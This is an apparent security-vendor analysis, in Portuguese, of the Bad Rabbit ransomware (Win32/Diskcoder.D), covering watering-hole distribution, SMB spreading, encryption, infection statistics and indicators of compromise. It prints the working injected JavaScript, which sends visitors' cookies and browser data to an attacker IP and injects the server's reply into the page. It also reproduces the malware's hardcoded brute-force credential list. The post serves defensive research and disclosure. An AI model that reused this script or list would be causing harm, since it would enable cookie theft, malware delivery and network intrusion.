Um novo surto de ransomware atacou ontem (24) a grandes infraestruturas na Ucrânia, incluindo o Metrô de Kiev. Assim como prometemos, realizamos uma análise mais detalhada e a seguir apresentamos os resultados desta nova variante do Diskcoder.D.
Drive-by download via watering hole em sites populares
Um dos métodos de distribuição do Bad Rabbit é um drive-by download. Alguns sites populares são comprometidos e neles se injeta JavaScript no HTML ou em um de seus arquivos .js.
Aqui está uma versão pólida da injeção:
function e(d) {
var xhr = null;
if (!!window.XMLHttpRequest) {
xhr = new XMLHttpRequest();
} else if (!!window.ActiveXObject) {
var xhrs = ['Microsoft.XMLHTTP', 'Msxml2.XMLHTTP', 'Msxml2.XMLHTTP.3.0', 'Msxml2.XMLHTTP.6.0'];
for (var i = 0; i < xhrs.length; i++) {
try {
xhr = ActiveXObject(xhrs[i]);
break;
} catch (e) {}
}
}
if (!!xhr) {
xhr.open('POST', 'http://185.149.120\.3/scholargoogle/');
xhr.timeout = 10000;
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
var resp = xhr.responseText;
if (resp) {
var fans = JSON.parse(resp);
if (fans) {
var an_s = decodeURIComponent(fans.InjectionString).replace(/\+/g, '%20');
var da = document.createElement('div');
da.id = 'ans';
da.innerHTML = an_s;
document.body.appendChild(da);
}
}
}
};
var pd = [];
for (var k in d) {
if (d.hasOwnProperty(k)) {
pd.push(k + '=' + d[k]);
}
}
var dc = pd.join('&');
xhr.send(dc);
}
}
e({
'agent': navigator.userAgent,
'referer': document.referrer,
'cookie': document.cookie,
'domain': window.location.hostname,
'c_state': !!document.cookie
});
Este script relata os seguintes componentes a 185.149.120[.]3, que não parece responder neste momento.
- User-Agent do navegador
- Referrer
- Cookie do site visitado
- Nome de domínio do site visitado
A lógica de programação do lado do servidor pode determinar se o visitante é um alvo de interesse e, em seguida, adicionar conteúdo na página. Temos observado como aparece um pop-up solicitando o download de uma atualização do Flash Player no meio da página.
Ao clicar no botão "Instalar", se inicia o download de um arquivo executável desde 1dnscontrol[.]com. Este executável, install_flash_player.exe, é o dropper do Win32/Filecoder.D.
Em seguida, o computador finalmente é boqueado e aparece o pedido de resgate típico do ransomware:
Esta é a página para fazer o pagamento:Propagação via SMB
Win32/Diskcoder.D tem a habilidade de se propagar através do protocolo Server Message Block (SMB). Diferentemente de alguns relatos que estão circulando, não explora a vulnerabilidade EternalBlue como foi o caso do surto do Win32/Diskcoder.C (Not-Petya).
Primeiro, a ameaça escaneia a rede interna em busca destes componentes abertos do SMB:
- admin
- atsvc
- browser
- eventlog
- lsarpc
- netlogon
- ntsvcs
- spoolss
- samr
- srvsvc
- scerpc
- svcctl
- wkssvc
Se executa o Mimikatz no equipamento comprometido para coletar credenciais. Também existe uma lista hardcodeada de nomes de usuários e senhas.
Usernames | Passwords |
---|---|
Administrator | Administrator |
Admin | administrator |
Guest | Guest |
User | guest |
User1 | User |
user-1 | user |
Test | Admin |
root | adminTest |
buh | test |
boss | root |
ftp | 123 |
rdp | 1234 |
rdpuser | 12345 |
rdpadmin | 123456 |
manager | 1234567 |
support | 12345678 |
work | 123456789 |
other user | 1234567890 |
operator | Administrator123 |
backup | administrator123 |
asus | Guest123 |
ftpuser | guest123 |
ftpadmin | User123 |
nas | user123 |
nasuser | Admin123 |
nasadmin | admin123Test123 |
superuser | test123 |
netguest | password |
alex | 111111 |
55555 | |
77777 | |
777 | |
qwe | |
qwe123 | |
qwe321 | |
qwer | |
qwert | |
qwerty | |
qwerty123 | |
zxc | |
zxc123 | |
zxc321 | |
zxcv | |
uiop | |
123321 | |
321 | |
love | |
secret | |
sex | |
god |
Quando as credenciais funcionais são encontradas, se realiza o download do arquivo infpub.dat no diretório do Windows e se executa através do SCManager e rundll.exe.
Criptografia
O Win32/Diskcoder.D é uma versão modificada do Win32/Diskcoder.C, na qual foram corrigidos alguns bugs na criptografia de arquivos. Agora usa o DiskCryptor, um software open source legítimo usado para fazer criptografia de unidades completas. As chaves são geradas usando CryptGenRandom e, em seguida, são protegidas com uma chave pública RSA 2048 hardcodeada.
Os arquivos criptografados tem a extensão .encrypted. Como antes, utiliza AES-128-CBC.
Distribuição
A telemetria da ESET mostra que a Ucrânia agora tem 12,2% do total de casos em que vemos o dropper. Estas são as estatísticas:
- Rússia: 65%
- Ucrânia: 12.2%
- Bulgária: 10.2%
- Turquia: 6.4%
- Japão: 3.8%
- Outros: 2.4%
Isso se assemelha bastante com a distribuição de sites comprometidos que incluem o JavaScript malicioso. Então, por que a Ucrânia parece ser mais atacada que o resto?
É interessante notar que todos os alvos foram atacados ao mesmo tempo. É possível que o grupo já tivesse um pé dentro das redes e executado o ataque watering hole simultaneamente como foi destacado. Nada indica que tenham caído devido a falsa atualização do Flash.
A ESET continua pesquisando e publicaremos nossas descobertas a medida que avancemos.
Amostras
SHA-1 | Filename | ESET Detection name | Description |
---|---|---|---|
79116fe99f2b421c52ef64097f0f39b815b20907 |
infpub.dat | Win32/Diskcoder.D | Diskcoder |
afeee8b4acff87bc469a6f0364a81ae5d60a2add |
dispci.exe | Win32/Diskcoder.D | Lockscreen |
413eba3973a15c1a6429d9f170f3e8287f98c21c |
Win32/RiskWare.Mimikatz.X | Mimikatz (32-bits) | |
16605a4a29a101208457c47ebfde788487be788d |
Win64/Riskware.Mimikatz.X | Mimikatz (64-bits) | |
de5c8d858e6e41da715dca1c019df0bfb92d32c0 |
install_flash_player.exe | Win32/Diskcoder.D | Dropper |
4f61e154230a64902ae035434690bf2b96b4e018 |
page-main.js | JS/Agent.NWC | JavaScript on compromised sites |
Servidores do C&C
Site de pagamento: http://caforssztxqzf2nm[.]onion
URL do inject: http://185.149.120[.]3/scholargoogle/
URL da distribuição: hxxp://1dnscontrol[.]com/flash_install.php
Lista de sites comprometidos:
- hxxp://argumentiru[.]com
- hxxp://www.fontanka[.]ru
- hxxp://grupovo[.]bg
- hxxp://www.sinematurk[.]com
- hxxp://www.aica.co[.]jp
- hxxp://spbvoditel[.]ru
- hxxp://argumenti[.]ru
- hxxp://www.mediaport[.]ua
- hxxp://blog.fontanka[.]ru
- hxxp://an-crimea[.]ru
- hxxp://www.t.ks[.]ua
- hxxp://most-dnepr[.]info
- hxxp://osvitaportal.com[.]ua
- hxxp://www.otbrana[.]com
- hxxp://calendar.fontanka[.]ru
- hxxp://www.grupovo[.]bg
- hxxp://www.pensionhotel[.]cz
- hxxp://www.online812[.]ru
- hxxp://www.imer[.]ro
- hxxp://novayagazeta.spb[.]ru
- hxxp://i24.com[.]ua
- hxxp://bg.pensionhotel[.]com
- hxxp://ankerch-crimea[.]ru